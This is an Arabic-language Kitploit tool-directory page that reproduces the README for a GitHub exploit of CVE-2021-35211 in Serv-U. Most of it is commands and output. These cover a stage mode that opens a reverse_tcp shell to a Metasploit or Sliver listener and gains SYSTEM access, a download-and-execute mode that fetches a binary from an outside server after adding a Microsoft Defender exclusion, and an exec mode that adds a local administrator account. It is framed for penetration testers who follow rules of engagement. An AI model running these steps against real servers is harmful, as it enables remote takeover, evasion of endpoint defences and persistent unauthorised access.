Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-35211 — استغلال Serv-U-FTP CVE-2021-35211 | Kitploit
أدوات/GitHubGitHub/0xhaggis/cve-2021-35211
تحليل الثغرات الأمنيةالاستغلالشيل كوداختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائية
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

استغلال Serv-U-FTP CVE-2021-35211

عرض المستودع
1منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال ثغرة CVE-2021-35211 في Serv-U

احتمالية تعطيل الخدمة - تأكد من قواعد الاشتباك الخاصة بك

لا يعمل الاستغلال في كل مرة، لكنه يعمل بشكل كافٍ لتشغيل شيلكود في حوالي 1 من كل 5 أو 6 مرات. ومع ذلك، قد يؤدي فشل الاستغلال أحيانًا إلى تعطل خادم Serv-U. يرجى التأكد من أن قواعد الاشتباك الخاصة بك تسمح بمخاطر فقدان الخدمة أو تدهورها. تشمل الأعراض التي شوهدت أثناء الاختبار:

  • تعطل وإعادة تشغيل تلقائي (الأكثر شيوعًا)
  • فصل المستخدمين المسجلين أثناء المحاولات الناجحة وغير الناجحة
  • تعطل مع فشل إعادة التشغيل التلقائي

تنبيه المستخدم.

بداية سريعة

الإصدارات مهمة. يستخدم هذا الاستغلال عناوين ROP ثابتة صالحة فقط ضد إصدار Serv-U 15.2.3.717. قد نتمكن من إضافة إصدارات أخرى، يرجى السؤال إذا كنت بحاجة إلى العمل مع إصدارات مختلفة من Serv-U أو Windows.

التحقق من الإصدار على هدفك

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

تشغيل الاستغلال

يأخذ الوسائط التالية:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

هناك ثلاثة أوضاع (أو حمولات) يمكنك تشغيلها في هجوم ناجح:

  1. stage
  2. exec
  3. downloadexec

وضع التجهيز (Stage mode)

عند نجاح الاستغلال، يتم تشغيل أداة توزيع شيلكود متوافقة مع Metasploit/Sliver. وهي الأقل موثوقية بين جميع الحمولات؛ فكر في استخدام downloadexec بدلاً من ذلك. قم بتشغيله كالتالي:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   اسم المضيف أو عنوان IPv4 لمثيل توزيع شيلكود Metasploit/Sliver الخاص بك
  stagePort   رقم المنفذ لمثيل التوزيع الخاص بك

optional arguments:
  -h, --help  إظهار رسالة المساعدة هذه والخروج

stageHost و stagePort سيشيران إلى مستمع نشط على جهاز Sliver/Metasploit الخاص بك. يمكنك اختيار أي حمولة تريدها، لكنني وجدت أن الوحيدة التي تعمل بشكل موثوق هي windows/x64/shell/reverse_tcp. هذا أمر مؤسف لأن هذه ليست شيل مشفرة وستحتاج إلى التحقق من قواعد الاشتباك الخاصة بك قبل إطلاق شيء كهذا.

مرة أخرى، تنبيه المستخدم.

قم بإعداده في Metasploit الذي يعمل على جهاز kali الخاص بك كالتالي:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

ثم قم بتشغيل الاستغلال:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

عند العودة إلى جهاز kali، يجب أن ترى طلب التوزيع وبدء شيل الأوامر:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

دعم Sliver في حمولة التوزيع تجريبي للغاية ونادرًا ما يعمل. إذا نجح، فسترى عادةً الجلسات تبدأ ثم تموت فورًا. لكن إذا حصلت على جلسة لا تنتهي فورًا، يمكنك اتخاذ خطوات للحفاظ على وصول Sliver الخاص بك عن طريق الترحيل إلى عملية مختلفة.

على خادم Sliver الخاص بك، قم بتشغيل الأمر stage-listener لإعداد المستمع الخاص بك. راجع وثائق Sliver لمزيد من التفاصيل حول التوزيع:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

قم بتشغيل الاستغلال في وضع التوزيع:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

إذا نجح الاستغلال (ونادرًا ما ينجح مع حمولات Sliver أو Meterpreter)، سترى شيئًا مثل هذا (ونعم، Sliver ابتكر اسم الحمولة هذا بنفسه!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

أول شيء يجب فعله هو الترحيل إلى عملية مختلفة، لأن هناك احتمالًا كبيرًا أن تموت جلسة Sliver الخاصة بك ولن تعود، ولا أعرف السبب الجذري وقت كتابة هذا.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

عند هذه النقطة، يجب أن تحصل على جلسة Sliver مستقرة ومحصنة ضد تقلبات Serv-U وهذا الاستغلال.

وضع التحميل والتنفيذ

الوضع الأكثر موثوقية والأقل عرضة للاكتشاف من قبل أمان نقطة النهاية من Microsoft Defender. وذلك لأنه يستخدم أمر Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") لإضافة استبعاد مسار إلى Microsoft Defender حتى لا يتم فحص ملفات Sliver/Meterpreter/غيرها بحثًا عن البرامج الضارة. هذا سيحميك من Windows Defender، ولكن هذا كل شيء؛ ستحتاج إلى مراعاة تقنيات أمان نقطة النهاية الأخرى، نظام كشف التسلل الشبكي، إلخ.

عند النجاح، يقوم بتحميل ملف ثنائي من URL وتنفيذه. ستحتاج إلى خادم ويب يستضيف ملفك التنفيذي. لقد استخدمت Python، لكن يرجى ملاحظة أنني أختبر على شبكة محلية بدون SSL. في الاستغلالات الحقيقية، ستحتاج إلى التحقق من قواعد الاشتباك الخاصة بك إذا كنت تريد استخدام عناوين URL غير مشفرة.

ليس للمرة الأولى: تنبيه المستخدم.

قم بتشغيل مستمع HTTP بسيط كالتالي:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

مع تشغيل المستمع، يمكنك تشغيل الاستغلال:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

يجب أن ترى شيئًا مثل هذا في مستمعك:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

سيقوم الهدف بتنفيذ calc.exe وإعادة تشغيل خدمة Serv-U للسماح للمستخدمين بالاتصال مرة أخرى. لاحظ أن الملف التنفيذي لن يعرض نافذة، لكن إذا قمت بتشغيل هذا المثال، يجب أن ترى wincalc.exe في مدير المهام.

وضع تنفيذ الأوامر

عند النجاح، يقوم بتشغيل أمر على الهدف. قم بتشغيله كالتالي:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

الاعتمادات

  • الباحثون في Microsoft الذين قاموا بفحص الثغرة: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson قام بإثبات المفهوم الذي استندت إليه شفرتي: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

أفكار أخيرة

يميل هذا الاستغلال إلى تعطيل العملية البعيدة، للأسف. بشكل عام، يتم إعادة تشغيلها وأحاول معرفة ما إذا كان بإمكاني جعلها أكثر استقرارًا، ولكن حتى ذلك الحين، يرجى التذكر: تحقق من قواعد الاشتباك الخاصة بك وتنبيه المستخدم.

تنزيل الأداة